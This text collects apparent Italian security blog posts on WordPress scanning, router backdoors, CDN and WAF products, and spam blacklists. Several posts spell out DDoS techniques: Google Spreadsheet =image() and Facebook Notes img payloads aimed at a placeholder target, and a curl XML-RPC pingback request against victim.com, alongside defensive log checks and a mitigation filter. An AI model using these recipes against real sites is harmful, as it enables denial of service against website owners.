Wordstress, uno scanner di vulnerabilità WordPress scritto in Ruby e tutto italiano.

Wordstress. Cos’è ?

Wordstress è uno scanner di sicurezza whitebox per i siti web wordpress .

I proprietari dei siti WordPress non vogliono perdere tempo nella lettura di rapporti di scansione di sicurezza blackbox complessi cercando di rimuovere i falsi positivi .

Uno strumento di sicurezza utile deve dare loro solo le vulnerabilità che interessano davvero plugin o temi installati, eliminando dunque falsi positivi e rimanendo molto attendibili.

Per raggiungere questo obiettivo , il plugin wordstress deve essere installato e configurato con una chiave di accesso unica sul sito web di destinazione. Lo scanner wordstress userà la chiave per accedere alle informazioni fornite dal plugin per individuare problemi di sicurezza .

Wordstress utilizza API al database di problemi di sicurezza fornito da wpvulndb.com

La pagina ufficiale del plugin la si può trovare qui : https://wordpress.org/plugins/wordstress/

L’autore, Paolo Perego, classe 1976 Milanese, può essere seguito e contattato su http://armoredcode.com/thesp0nge/ , specializzato in application security e sicurezza del Web è sicuramente indicato per gli interessati al settore.

 

TROVATE BACKDOOR IN DIVERSI ROUTER DI CISCO, LINKSYS, NETGEAR E BELKIN

RouterUn ricercatore francese ha trovato una backdoor attiva in molti router Wireless commercializzati anche in Italia.

Sta facendo molto discutere quando dichiarato dall’ex tecnico della CIA Edward Snowden al giornalista Glenn Greenwald, indicando che in molti router e server prodotti da Dell, Cisco, Samsung, Western Digital, Seagate, Maxtor ecc sono presenti delle backdoor richieste ai produttori dalla NSA (National Security Agency). Se per molti erano solo ipotesi, arriva la conferma da Eloi Vanderbeken, uno sviluppatore / ricercatore francese, che ha rilevato una Backdoor in diversi modelli di router Wireless.

A causa di una dimenticanza della password di amministrazione del proprio router, il ricercatore francese ha deciso di studiare per bene il proprio router fino ad arrivare ad una strana backdoor che consentiva da remoto di inviare senza alcuna autenticazione.
Segnalata la scoperta, alcuni sviluppatori hanno iniziato a controllare i propri router verificando che la backdoor è presente anche in molti router prodotti da Cisco, Watchguard, Belkin, Linkys e Netgear ecc rilasciando anche una lista aggiornata che possiamo consultare da questa pagina.

A quanto pare attualmente ci sono più di 2.500 modelli di router che in omaggio ci regalano una bellissima backdoor, e parliamo solo di router, è possibile che ci siano anche “porte nascoste” anche in server, smartphone, tablet ecc. Tengo a precisare che la scoperta delle backdoor nei router risale da diversi mesi, personalmente ne sono venuto a conoscenza solo poche ore fa grazie alla segnalazione di un nostro lettore.
C’è da preoccuparsi??

Incapsula, la nota CDN e Firewall ci svela i suoi progetti per il futuro.

incapsula-cdn-waf-expansion-plans-mapCome leggiamo dalla loro newsletter appena giunta per email, Incapsula la una nota CDN con funzioni di WAF (Web Application Firewall) e DDOS mitigation, già recensita QUI, ha dei seri piani per il futuro prossimo.

Dopo la recente acquisizione da parte di Imperva, (azienda leader nel settore Data protection e IT Security) infatti ha annunciato con notevole entusiasmo che aumenteranno datacenter e banda a disposizione fino a raggiungere cifre davvero considerevoli.

Ecco cosa scrivono su : http://www.incapsula.com/blog/cdn-expansion-plans-map.html

Incapsula e i 30 datacenter per la fine dell’anno.

E ‘ bello essere in grado di unire una organizzazione che si muove veloce come Incapsula. Oggi voglio discutere di questo slancio, condividendo i nostri piani di espansione della rete per il 2014.

Con il primo trimestre dietro di noi, e con tre nuovi datacenter già attivi, siamo entusiasti di annunciare il nostro impegno a raddoppiare le dimensioni della rete di Incapsula – espansione da 16 a 30 punti di presenza (POP) entro la fine dell’anno.

Con questi nuovi data center ci aspettiamo la capacità di rete complessiva di Incapsula di oltre 1,5 Tbp/s. Inoltre, ciascun POP di Incapsula sarà configurato per memorizzare nella cache ben 30 volte più della sua capacità attuale con l’aggiunta di una nuovi switch con una maggiore densità di porte.

Località dei nuovi Datacenter

Le posizioni dei nostri data center in arrivo sono stati accuratamente scelti per la connettività di rete ottimizzata e per la loro capacità di riflettere le reali esigenze dei nostri clienti, dunque aumentare la presenza della rete in regioni ad alta richiesta, oltre a fornire una copertura in nuove posizioni geografiche.

Ecco l’elenco di tutti i POP candidati nel loro ordine alfabetico:

Atlanta, USA
Auckland, Nuova Zelanda
Lima, Perù
Hong Kong, Cina
Madrid, Spagna
Milano, Italia
Città del Messico, Messico
Mumbai, India
Sao Paulo, Brasile
Seoul, Corea del Sud
Toronto, Canada
Vienna, Austria
Varsavia, Polonia

Anche mentre parliamo, alcuni di questi luoghi sono già in fase di implementazione iniziale, e pochi sono a pochi passi di distanza dall’attivazione ufficiale.  E’ anche possibile che una posizione di alcuni dei luoghi si sposterà, a seconda della disponibilità di risorse di rete locale.

Questo è come la nostra rete sarà simile entro la fine dell’anno:

global-cdn-expansion-map

2013 ottima annata ma solo un “riscaldamento”

Nel 2013 il numero di siti protetti da Incapsula è cresciuto di oltre il 600 per cento. Oggi, Incapsula è la piattaforma di Application Delivery scelta per decine di migliaia di organizzazioni, tra cui alcuni dei più grandi marchi del mondo di elettronica di consumo, rivenditori online, istituzioni finanziarie e società SaaS di spicco.

L’anno scorso, per accogliere la nostra crescita, siamo cresciuti la nostra capacità di rete a oltre 600Gbps, espandendolo di oltre il 500 per cento. Abbiamo anche introdotto una serie di importanti aggiornamenti di servizi, tra cui statistiche in tempo reale, nuovi controlli Cache , un sistema integrato di autenticazione a due fattori e una sfilza di altre caratteristiche.

Quest’anno continuiamo ad espandere la nostra lista di servizi, così come le nostre capacità di networking. Nel primo trimestre del 2014 abbiamo già aumentata capacità di sicurezza del Incapsula con le nostre nuove regole di firewalling per il nostro motore di filtering. Più di recente, abbiamo ampliato la nostra offerta con il nostro Layer 7 Load Balancer – primi a fornirlo  nel suo genere come soluzione di high avalaibility per i nostri clienti Enterprise.

WAF, Web Application Firewall e Proxy per mitigare attacchi DDoS

La nostra espansione della rete rapida non è solo alimentata dalla propria crescita di Incapsula, ma anche dalla crescita di attacchi DDoS volumetrici. Dall’inizio del 2013, abbiamo assistito ad un aumento senza precedenti del numero di grandi minacce DDoS al punto in cui uno ogni tre attacchi all’ora raggiunge oltre 20 Gbps e DDOS da oltre 100 Gbps non sono più rari.

Con diversi grandi DDoS  che si verificano su una base quotidiana, e con sempre più siti web in cerca di Incapsula per la protezione, sapevamo che era il momento di investire; non solo per la necessità di oggi, ma anche per gli obiettivi di domani.

DREAMSNET.IT e Incapsula. Servizi di consulenza e protezione DDOS

Come azienda abbiamo valutato, analizzato e già trattato le varie CDN che il mercato offre, rilevando in Incapsula attualmente la migliore soluzione per il Firewalling a livello di applicazioni Web, nonchè come protezione DDOS per utenti commerciali vittime di attacchi DDOS di notevole portata.

Effettiamo consulenza di DDOS Mitigation, nonchè configurazione e installazione di Incapsula come elemento vitale per la disponibilità dei servizi.

Usare Google Spreadsheet per sferrare un DDOS verso qualsiasi sito web.

google-docs-logowtitleGoogle utilizza il suo crawler FeedFetcher per il caching di tutto ciò che viene messo all’interno = image (“link”) in un foglio di calcolo.

Ad esempio:

Se mettiamo = image (“http://example.com/image.jpg”) in una delle celle di Google Spreadsheet, Google invierà il crawler FeedFetcher per recuperare l’immagine e salvarla nella cache per visualizzarla.

Tuttavia, si può aggiungere parametro di richiesta casuale al nome del file e dire a FeedFetcher di caricare lo stesso file più volte.

Si potrebbe caricare in un foglio di calcolo di Google Spreadsheet un link a un file PDF (ad esempio di 10 Megabyte) per 1000 volte di seguito e “obbligare” il crawler di Google il recupero “forzato” dello stesso file ben 1000 volte di seguito, causando in questo modo un traffico davvero elevato.

=image("http://targetname/file.pdf?r=0")
=image("http://targetname/file.pdf?r=1")
=image("http://targetname/file.pdf?r=2")
=image("http://targetname/file.pdf?r=3")...
=image("http://targetname/file.pdf?r=1000")

Aggiungendo il parametro casuale, ogni link viene trattato come diverso da Google che esegue la scansione più volte causando una perdita di traffico in uscita per il proprietario del sito. Così chiunque utilizzi un browser, con l’apertura di poche schede sul suo PC può inviare enorme HTTP GET flood ad un server web.

Qui, l’attaccante non necessita di una grande larghezza di banda. L’attaccante chiede a Google di inserire il link dell’immagine nel foglio di calcolo, Google recupera 10 MB di dati dal server, ma dal momento che è un file PDF (file non-immagine), l’attaccante non prende e non visualizza nulla da Google. Questo tipo di flusso di traffico permette chiaramente una pericolosissima e grandissima amplificazione e può essere un vero e proprio disastro per il sito web vittima dell’attacco DDOS.

Utilizzando un solo computer portatile con più schede aperte e limitandosi a copiare ed incollare più link ad un file di 10 mb, Google è riuscito a scaricare lo stesso file a 700 + mbps. Questa 600-700 mbps scaricati da Google è continuato per 30-45 min. e a quel punto ho messo down il server.

Facendo correttamente i conti, sono stati scaricati oltre 240 GB di dati in appena 45 minuti.

google-spreadheet-ddos

Con solo un po’ di più carico, penso che l’uscita raggiungerebbe il Gbps e il traffico in entrata raggiungerebbe almeno 50-100 mbps. Posso solo immaginare i numeri quando più attaccanti utilizzeranno questo stratagemma. Google utilizza più indirizzi IP per eseguire la scansione e, anche potendo bloccare la User Agent FeedFetcher per evitare questi attacchi, la vittima dovrà modificare la configurazione del server e, in molti casi potrebbe essere troppo tardi se questo attacco non viene anticipato passando inosservato. L’attacco DDOS potrebbe essere facilmente prolungato per ore ed ore solo a causa della sua facilità d’uso.

 

Usare Facebook Notes per un DDOS ad un qualsiasi sito Web.

Facebook Notes consente agli utenti di inserire i tag img. Ogni volta che viene utilizzato un tag , Facebook carica l’immagine dal server esterno e memorizza nella cache. Facebook caricherà in cache l’immagine una volta però utilizzando i parametri get casuali (random)  la cache può essere by-passata e la funzione può essere abusata per causare un enorme HTTP GET flood.

I passaggi per ricreare il bug come riportato a Facebook Bug Bounty il 03 marzo 2014.

Passo 1. Creare un elenco di unico tag img come un tag è sottoposto a scansione solo una volta.

<img src=http://targetname/file?r=1></img><imgsrc=http://targetname/file?r=1></img>
..
<img src=http://targetname/file?r=1000></img>

Passo 2. Usa m.facebook.com per creare le note. Si tronca in silenzio le note ad una lunghezza fissa.

Passo 3. Creare più note dallo stesso utente o utente diverso. Ogni nota è ora responsabile per oltre 1000 richieste http.

Passo 4. Visualizza tutte le note allo stesso tempo. Il server di destinazione sarà vittima di migliaia di HTTP GET flood. Migliaia di richiesta GET vengono inviati a un singolo server in un paio di secondi. Oltre 100 sono il numero totale di server di Facebook che accederanno in parallelo.

Dopo aver scambiato qualche e-mail mi è stato chiesto di dimostrare se l’impatto sarebbe elevato. Ho sparato su un bersaglio virtualizzato in cloud, e utilizzando solo i browser da tre computer portatili sono stato in grado di raggiungere 400 + Mbps traffico in uscita per 2-3 ore. Numero di Facebook Servers: 127

facebook-ddosNaturalmente, l’impatto potrebbe essere più di 400 Mbps come mi è stato solo utilizzando il browser per questo test ed è stato limitato dal numero di file caricabili del browser per ogni dominio. Ho creato uno script proof-of-concept che potrebbe causare impatto ancora maggiore.

Vedo anche un paio di altri problemi con questo tipo di abuso:

  • Uno scenario di traffico di amplificazione: quando l’immagine viene sostituito da un pdf o un video di dimensioni maggiori, Facebook dovrebbe caricare un file enorme, senza che l’utente si accorga di nulla.
  • Ogni nota supporta 1000 + collegamenti e blocchi di Facebook di un utente dopo la creazione di circa 100 Notes in un breve arco. Poiché non vi è alcun captcha per la creazione di note, tutto questo può essere automatizzato e un utente malintenzionato potrebbe facilmente preparare centinaia di note con più utenti fino al momento di attacco quando tutti loro viene visualizzato in una sola volta.

Anche se una sostenuta 400 Mbps potrebbe essere pericoloso, ho voluto provare per l’ultima volta per vedere se può effettivamente avere un impatto maggiore.
Per liberarsi dalle limitazione del browser ho utilizzato lo script ad hoc e sono stato in grado di ottenere ~ 900 Mbps. traffico in uscita.

facebook-ddos-1gbps

Stavo usando un normale file PDF di 13 MB che è stato prelevato da Facebook + 180.000 volte, il numero di server di Facebook coinvolti era 112 .

Possiamo vedere il grafico del traffico è quasi costante a 895 Mbps. Questo potrebbe essere a causa del traffico massimo imposto sulla mia VM, che sta usando una porta ethernet Gbps condivisa. Sembra che non vi è alcuna restrizione mettere sui server di Facebook e con così tanti server  possiamo solo immaginare quanto traffico si possa ottenere.

La combinazione di Google e Facebook, sembra che possiamo facilmente ottenere più Gbps di Flood GET.

Facebook crawler si mostra come facebookexternalhit. In questo momento sembra che non c’è altra scelta che quella di bloccarlo per evitare questo fastidio.

 

WordPress XMLRPC, più di 162.000 siti WordPress utilizzati per attacco DDOS

ddosGli attacchi DDOS stanno diventando una tendenza comune ultimamente, ed è una questione molto seria per ogni proprietario del sito. Oggi vi voglio parlare di un grande attacco DDOS che ha sfruttato migliaia di siti web WordPress ignari come vettori di amplificazione.

Qualsiasi sito WordPress con Pingback abilitato (che è attivata per impostazione predefinita) può essere utilizzato in attacchi DDOS contro altri siti.  Notare che XMLRPC viene utilizzato per pingbacks, trackback, l’accesso remoto tramite dispositivi mobili e molte altre caratteristiche è molto probabile che sia abilitato. Ma può anche essere pesantemente abusato come quello che stiamo vedendo.

I fatti

E ‘successo tutto nei confronti di un sito WordPress popolare che era andato giù per molte ore a causa di un DDOS. Poiché l’attacco è aumentato in termini di dimensioni, il loro hoster l’ha spento, e poi hanno deciso di chiedere aiuto a un proxy di tipo Cloudflare.

Una volta che il DNS è stato ripristinato siamo stati in grado di vedere cosa stava succedendo, era un grande attacco flood basato su  HTTP (layer 7) , inviare ovvero centinaia di richieste al secondo al server. La richiesta sembrava questa:

 
74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"
121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com" 
217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr" 
193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de" 
..

Se notate, tutte le query avevano un valore casuale (come “? 4.137.049 = 643.182”), che aggirato la loro cache e forzare una pagina di ricarica completa ogni volta. Si stava uccidendo il loro server abbastanza rapidamente.

Ma la parte più interessante è che tutte le richieste provenivano da siti WordPress validi e legittimi. Sì, gli altri siti WordPress mandavano che le richieste casuali portando il sito down.

WordPress che ha XMLRPC abilitato = Very Large Botnet

Proprio nel corso di poche ore, oltre 162.000 diverse e legittime siti WordPress cercato di attaccare il suo sito.Avremmo probabilmente abbiamo rilevato molto di più siti, ma abbiamo deciso che avevamo visto abbastanza e bloccato le richieste al firewall di confine, soprattutto per evitare di riempire i registri con spazzatura.

Riuscite a vedere quanto potente può essere? Un attaccante può usare migliaia di siti WordPress popolari e puliti per svolgere il loro attacco DDOS, pur essendo nascosto nell’ombra, e che tutto accade con un semplice ping torna richiesta al file XML-RPC:

$ Curl-D - "www.anywordpresssite.com / xmlrpc.php"-d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'

Il tuo sito attaccando gli altri?

Potrebbe essere e non avete idea. Per verificare, guardare attraverso i registri di eventuali richieste POST al file XML-RPC, simile a quello qui sotto. Se vedi un pingback a un URL casuale, sai che il tuo sito è attuato in modo abusivo.

93.174.93.72 - [09/Mar/2014: 20:11:34 -0400] "POST / xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "PostRequest: <xml version = \ x221.0 \ x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall>\x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A  <param> \ x0A <valore> \ x0A <string> http://fastbet99.com/?1698491=8940641 </ string> \ x0A </ value> \ x0A </ param> \ x0A <param> \ x0A <valore > \ x0A <string> yoursite.com </ string> \ x0A </ value> \ x0A </ param> \ x0A </ params> \ x0A </ methodCall> \ x0A "
 
 94.102.63.238 - [09/Mar/2014: 23:21:01 -0400] "POST / xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "PostRequest:   \ X0A   \ X0A   pingback.ping   \ X0A   \ X0A   \ X0A   \ X0A   http://www.guttercleanerlondon.co.uk/?7964015=3863899   \ X0A   \ X0A   \ X0A   \ X0A   \ X0A   yoursite.com   \ X0A   \ X0A   \ X0A   \ X0A   \ X0A "

Per interrompere il vostro sito WordPress da uso improprio, è necessario disattivare la funzionalità XML-RPC (pingback) sul tuo sito.

Un modo migliore per bloccarlo è quello di aggiungere al file functions.php del tema attuale, aggiungendo il seguente filtro:

add_filter( ‘xmlrpc_methods’, function( $methods ) {
unset( $methods[‘pingback.ping’] );
return $methods;
} );

Provatelo e fare la vostra parte per rendere Internet un luogo più sicuro per tutti.

CloudFlare vs Incapsula vs ModSecurity. Analisi comparativa su quale scegliere e perchè.

Tutti amano le comparazioni non è vero? Ancora di più se a confronto ci sono CloudFlare vs Incapsula vs ModSecurity, 3 nomi che conosci sicuramente, messi a dura prova da Zero Science Lab, un team di ricercatori macedoni, attivi nel campo della sicurezza informatica e della ricerca di vulnerabilità all’interno dei software. Se hai sempre desiderato una comparazione tra CloudFlare, Incapsula e ModSecurity è arrivato il momento di leggere con attenzione questo post.

CloudFlare, Incapsula e ModSecurity sono tre prodotti completamente differenti. Dico quasi perchè visto dall’esterno ModSecurity ad esempio non ha nulla da spartire con CloudFlare ed Incapsula, data la sua natura di WAF puro. Cos’è un WAF? La nocciola non c’entra nulla, e neanche i wafer. Un WAF è un acronimo che sta per Web Application Firewall, un software che ha il compito di fare Virtual Patching. Quanti paroloni! Ma cercherò di rendere la cosa più semplice anche per i novizi.

WAF e Virtual Patching

Hai presente le patch? Le pezze, quelle che devi applicare ad un software di tanto in tanto. Ci sono patch per WordPress, ci sono patch per Joomla. Le patch chiudono dei buchi, delle debolezze del codice che possono essere sfruttate per danneggiare un sito web. Il patching classico prevede che il produttore rilasci un aggiornamento del codice che tu dovrai applicare sul tuo sito web. Non sempre questi aggiornamenti però vengono rilasciati con tempestività. Dalla scoperta di una vulnerabilità fino al rilascio della patch potrebbero passare svariate settimane, se non mesi. Questo a causa delle tempistiche che ha ogni rilascio del codice. Oppure in quel momento potresti trovarti nella situazione di non poter aggiornare il sito perchè il codice è troppo personalizzato e rischieresti di rompere qualcosa. Il virtual patching invece permette di mettere una “pezza sulla pezza”. Il virtual patching è una patch virtuale che può essere applicata ad uno strato diverso da quello su cui vive il codice.

ModSecurity è un firewall per applicazioni web che opera a livello HTTP e fa un lavoro di patching virtuale, bloccando le minacce prima che raggiungano il codice vulnerabile.

In tutto questo CloudFlare e Incapsula si differenziano da ModSecurity perchè oltre alla funzione di WAF includono anche e soprattutto delle funzioni per velocizzare i siti web che fanno uso di essi. Si parla e si scrive veramente tanto di CloudFlare e Incapsula ma i dati ed i vantaggi reali sono ancora abbastanza nebulosi e si va quasi sempre per sentito dire. Zero Science Lab ha voluto fare un pò di luce sull’efficacia e sull’utilità di CloudFlare, Incapsula e ModSecurity svelando alcuni dettagli che ti lasceranno sicuramente molto sorpreso. Posso comunque anticiparti che CloudFlare esce come sconfitto illustre nel confronto con Incapsula e ModSecurity.

Zero Science Lab ha messo a confronto i piani più costosi: la versione Business di CloudFlare (200 dollari al mese!), la versione Business di Incapsula (59 dollari al mese). ModSecurity invece è free, distribuito gratuitamente. L’azienda che lo sviluppa, TrustWave Lab offre comunque delle regole commerciali a pagamento. Le regole sono in parole povere lo scheletro di funzionamento di ModSecurity. Per ogni minaccia esiste una regola che se fatta scattare blocca l’attacco. Un insieme di regole gratuite sono liberamente disponibili per il download.

CloudFlare vs Incapsula vs ModSecurity: l’installazione

Nel report di Zero Science Lab il confronto tra i prodotti inizia con una panoramica sulle modalità di installazione.
Posso dirti che sia Incapsula, sia CloudFlare non richiedono un intervento fisico sul server, nè sul sito web. L’attivazione di questi prodotti avviene quasi esclusivamente via browser. L’azione richiesta è la modifica dei record DNS ed NS del sito web che stai per proteggere, in modalità leggermente differenti per Incapsula e CloudFlare, ma abbastanza simili.

L’installazione di ModSecurity richiede invece un intervento fisico sul server all’interno del quale deve essere attivato. L’ultima installazione di cui mi sono occupato ad esempio è stata per un cliente con grossi problemi su Joomla. Tra vecchie versioni e l’impossibilità di aggiornare in tempi brevi l’unica alternativa tra deface e problemi continui è stata quella di installare ModSecurity.
Il setup di Mod Security non è alla portata di tutti e richiede delle competenze specifiche, soprattutto nella gestione delle regole. Un WAF configurato male è quasi come non averlo mai installato.

CloudFlare vs Incapsula vs ModSecurity:  l’efficacia

Qui iniziano le vere sorprese. Credo che un’immagine in questo caso possa valere più di mille considerazioni:

cloudflare-incapsula-modsecurity

Efficacia di CloudFlare come WAF : QUASI NULLA
Efficacia di Mod Security come WAF: OTTIMA
Efficacia di Incapsula come WAF: OTTIMA

Veniamo ai numeri.

Su 54 iniezioni SQL CloudFlare ne blocca 0. Incapsula ne blocca 53, ModSecurity ne blocca 54.
Su 46 attacchi XSS CloudFlare ne blocca 0. Incapsula ne blocca 43, ModSecurity ne blocca 46.
Su 23 attacchi LFI/RFI CloudFlare ne blocca 0. Incapsula ne blocca 19, ModSecurity ne blocca 21.

I numeri parlano da soli ! Zero Science dice a riguardo che “Though CloudFlare is presented as, besides other things, a very proficient web application firewall, we concluded that’s just a marketing sales point and nothing more“. Nonostante CloudFlare venga presentato tra le altre cose come un buon WAF, nella realtà si tratta solo di una trovata pubblicitaria e nient’altro.

Tra l’altro per quanto riguarda gli attacchi di test andati a buon fine a causa di alcuni difetti nelle regole anti intrusione, sia ModSecurity che Incapsula hanno risposto prontamente rilasciando degli aggiustamenti al codice delle rules. Nessun commento invece (almeno così mi sembra) da parte di CloudFlare.

Ci tengo a ribadire che CloudFlare, Incapsula e ModSecurity sono tre software molto diversi l’uno dall’altro. La principale caratteristica in comune è la funzione di WAF, web application firewall. A giudicare dai risultati del confronto ModSecurity non ha rivali.
CloudFlare e Incapsula si distinguono rispetto a ModSecurity per le funzionalità avanzate di acceleratore per siti web e di protezione contro gli attacchi DoS e DDOS. Nel confronto questi aspetti specifici non sono stati presi in considerazione ma posso assicurarti che per quanto riguarda l’accelerazione dei siti web sia Incapsula che CloudFlare svolgono un ottimo lavoro. Per quanto riguarda la capacità di difesa contro gli attacchi DoS l’efficacia è buona. Ti ricordo inoltre che Mod Security non ha compiti di accelerazione web, nè funzioni di difesa contro i DoS e DDOS.

CloudFlare vs Incapsula vs ModSecurity: configurazione ed opzioni

Incapsula offre una gestione più approfondita rispetto a CloudFlare mentre Mod Security non ha un pannello di controllo. Per quest’ultimo infatti la possibilità di intervenire sulle regole e sui registri è limitata alla sola interfaccia da console, via SSH (tranne ovviamente per le soluzioni a pagamento come ASL).

CloudFlare viene criticato dai più esperti per le scarse informazioni che il prodotto fornisce al cliente: poche info sulle minacce bloccate. Forse alla luce di questo pentesting risulta un pò più chiaro il perchè.

Incapsula invece offre buone possibilità di controllo delle regole di sicurezza, notifiche per le allerte di attacco ed uno storico dettagliato.

CloudFlare vs Incapsula vs ModSecurity: il responso

Il responso di questo pentesting vede fallire clamorosamente CloudFlare, almeno sotto il punto di vista dell’application firewall.
Incapsula si difende bene ma per scelta della compagnia le regole che dovrebbero bloccare gli attacchi sono volutamente non troppo aggressive per poter bilanciare la sicurezza con l’usabilità. Uno dei problemi maggiori dei WAF infatti sono i falsi positivi. Quei blocchi cioè che fermano anche le richieste HTTP lecite. ModSecurity sotto questo punto di vista è abbastanza aggressivo e questo forse è il suo unico difetto.

Conclusioni

E’ veramente molto difficile comparare. E chiunque potrà sollevare un’eccezione appellandosi al fatto che non è possibile mettere a confronto dei prodotti che sono molto differenti l’uno dall’altro. In questo caso però credo che il lavoro di Zero Science sia stato encomiabile, se non altro perchè sono state messe in luce delle (presunte) gravi carenze su un prodotto come CloudFlare che fa dell’application firewall uno dei suoi cavalli di battaglia. Le risposte al come ed al se queste mancanze siano reali o meno viene a mio parere proprio dal fatto che sia Incapsula sia ModSecurity hanno preparato degli aggiustamenti per quelle regole di sicurezza che durante il pentesting non hanno funzionato. Sarebbe stato interessante conoscere la replica di CloudFlare al whitepaper di Zero Science.

Per il momento alla luce delle analisi di Zero Science la realtà è una sola: se stai cercando un WAF non scegliere CloudFlare.

Riferimenti: CloudFlare Versus Incapsula Versus ModSecurity:

http://packetstormsecurity.com/files/120407/wafreport2013.pdf

Come implementare e configurare correttamente le DNSBL (o RBL) sul nostro server di posta onde evitare falsi positivi.

spam_dnsbl_rmiozioneUno dei problemi maggiori da sempre riguardo il servizio email è lo SPAM.

Negli svariati anni sono state ideate diverse soluzioni (più o meno efficaci) per arginare il problema, tutte con i relativi pro e i relativi contro.
Ciò che si cerca di raggiungere è l’identificazione ed eliminazione dello SPAM totale, avendo cura di non eliminare nemmeno una mail legittima (o considerata tale).

Ovviamente bilanciare l’obiettivo risulta estremamente complesso, nell’ottica che cestinare una mail legittima, sia ben più grave che lasciar passare 2 email di SPAM.

Per questo, è bene tenere sempre a mente che non si possono scegliere soluzioni drastiche, ma sopratutto che la sicurezza è un processo e non un prodotto.

Ovvero, non ci si può affidare solamente di un software specifico, ma bisogna coordinare diverse tecnologie che lavorino in sinergia tra loro.

Noi ad esempio nel nostro stack antispam utilizziamo :

  • Postgrey
  • SPF
  • Amavisd
  • Clamd
  • Spamassassin
  • RBL (configurate su Spamassassin)
  • Pyzor

e possiamo vantarci di avere un ottimo rapporto SPAM ricevuto / fasi positivi, laddove i falsi positivi sono praticamente nulli, e lo SPAM ridotto al minimo (nella caselle [email protected] ieri ne ho ricevute 3).

Da anni che lavoro nel settore, come sistemista e amministratore di server mail, posso fermamente affermare che un mailserver che non riceve nemmeno una mail di SPAM saltuariamente è un mailserver che filtra troppo (anche quello che non dovrebbe filtrare).

Una delle configurazioni più classiche (ed errate) che ho trovato implementate in diversi server mail (anche di importanti società di hosting e internet service provider) è quella di implementare RBL a livello assoluto direttamente sul mail server.

Cos’è RBL ?

Una DNS-based Blackhole List (anche DNSBL, Real-time Blackhole List o RBL) è un mezzo attraverso il quale è possibile pubblicare una lista di indirizzi IP, in un apposito formato facilmente “interrogabile” tramite la rete Internet. Come suggerisce il nome, il meccanismo di funzionamento è basato sul DNS (Domain Name System).
Le DNSBL sono principalmente utilizzate per la pubblicazione di indirizzi IP legati in qualche modo a spammer. La maggior parte dei mail server possono essere configurati per rifiutare o contrassegnare messaggi inviati da host presenti in una o più liste.
Questi servizi offerti gratuitamente agli utenti e sistemisti di tutto il mondo, permettono realmente di decimare l’invio di SPAM, nonchè la ricezione, contribuendo a una funzione realmente utile all’utente finale.

spamhaus_dnsbl_basic

 

Brevemente funziona così :

  1. Il mail server del mittente ci invia una mail.
  2. Il mailserver del destinatario (il nostro) farà una richiesta di tipo DNS a una delle liste DNSBL che abbiamo implementato.
  3. La lista DNSBL ci risponderà che è in blacklist o che non lo è.
  4. Se lo è rifiutamo di accettare il messaggio segnalando con un errore e informando il nostro mittente che è presente in una lista antispam.
  5. Se non è in SPAM accettiamo il messaggio.

 

Fino a qui tutto bene, sembra una meraviglia. Si potrebbe tranquillamente dire che si può eliminare lo SPAM alla frontiera, senza accettare il messaggio e dunque risparmiando preziose risorse sul mailserver.

Una meraviglia in effetti se non fosse che bisogna mettere in discussione la precisione della tecnologia RBL, e del suo insindacabile giudizio.

Come avrebbe detto un famoso conduttore televisivo : “La domanda nasce spontanea !”, ovvero :

Essere segnalati in una lista RBL significa che siamo veramente degli SPAMMER ?

La risposta è NO.

Vediamo ad esempio alcuni scenari per cui noi legittimi mittenti e non spammer ci vediamo ritrovati in una blacklist, e il nostro fidato e amico destinatario vedrà rifiutarsi la consegna del messaggio a causa della configurazione errata del suo mail server.

  1. Sono col dominio dominiotizio.it e sullo stesso mailserver (con lo stesso IP) ci sono ospitati altri 500 domini per un totale di 2500 caselle email gestite.
    Una casella email viene violata, e nel giro di un ora uno spammer riesce a consegnare 10000 email a indirizzi email random sui classici yahoo.com.
    L’amministratore se ne accorge, limita il danno disabilitando l’account … ma nel frattempo viene inserito in dnsbl.sorbs.net (una nota ed usatissima RBL).
    Da li in poi per diverse ore (anche giorni), l’IP del mail server risulterà come SPAMMER.
  2. Gli stessi presupposti dello scenario 1, con la differenza che siamo finiti in altre liste (questa volta a pagamento). Come riportato qui https://www.dreamsnet.it/2013/06/mailserver-blacklist-dnsbl-e-spam-uscire-dalle-liste-e-vivere-serenamente/ a volte per rimuoversi da liste RBL in tempi accettabili (poche ore), alcune liste pretendono un pagamento variabile tra 40 e 100 dollari per effettuare la rimozione dell’indirizzo “nell’immediato”.Nessun amministratore di server mail accetterà mai di cedere a tale spesa (o meglio ricatto), per cui è possibile che invece di essere in liste DNSBL per qualche ora o giorno, possiate rimanerci per 7 giorni fino alla rimozione automatica.
  3. Siamo sempre listati nelle liste di SPAM. Basti pensare e molti provider italiani, Libero.it su tutti, ma anche i vari Telecom e Fastweb che col loro alto numero di utenti e di mail server sono spessissimo (Libero lo è quasi sempre) listato in una o pià liste RBL.

 

In tutti e 3 i casi ci troviamo di fronte a situazioni in cui sebbene la mail venga inviata da un mailserver possa essere in liste antispam perchè precedentemente (o anche attualmente) usato da spammer, il contenuto della mail e la mail stessa risulta legittima e gradita, dunque non SPAM.

Arrivare a conclusioni del tipo “sei in una lista antispam per cui sei uno spammer, allora non accetto la mail” non ha senso in un contesto reale dove la mail diventa uno strumento di lavoro e la non ricezione può comportare gravissimi problemi.

Tornando all’introduzione precedente, oggi molti amministratori di sistema implementano i filtri direttamente sul mailserver in questo modo (esempio su mailserver postfix) :

reject_rbl_client zen.spamhaus.org,
reject_rbl_client list.dsbl.org,
reject_rbl_client sbl.spamhaus.org,
reject_rbl_client bl.spamcop.net,
permit

 

Ciò significa che il nostro mailserver rifiuterà di accettare il messaggio se l’IP del mailserver del mittente è listato in una delle 4 liste elencate. E sia ben chiaro, che per essere rifiutato basterà che sia presente in ALMENO UNA DELLE 4.

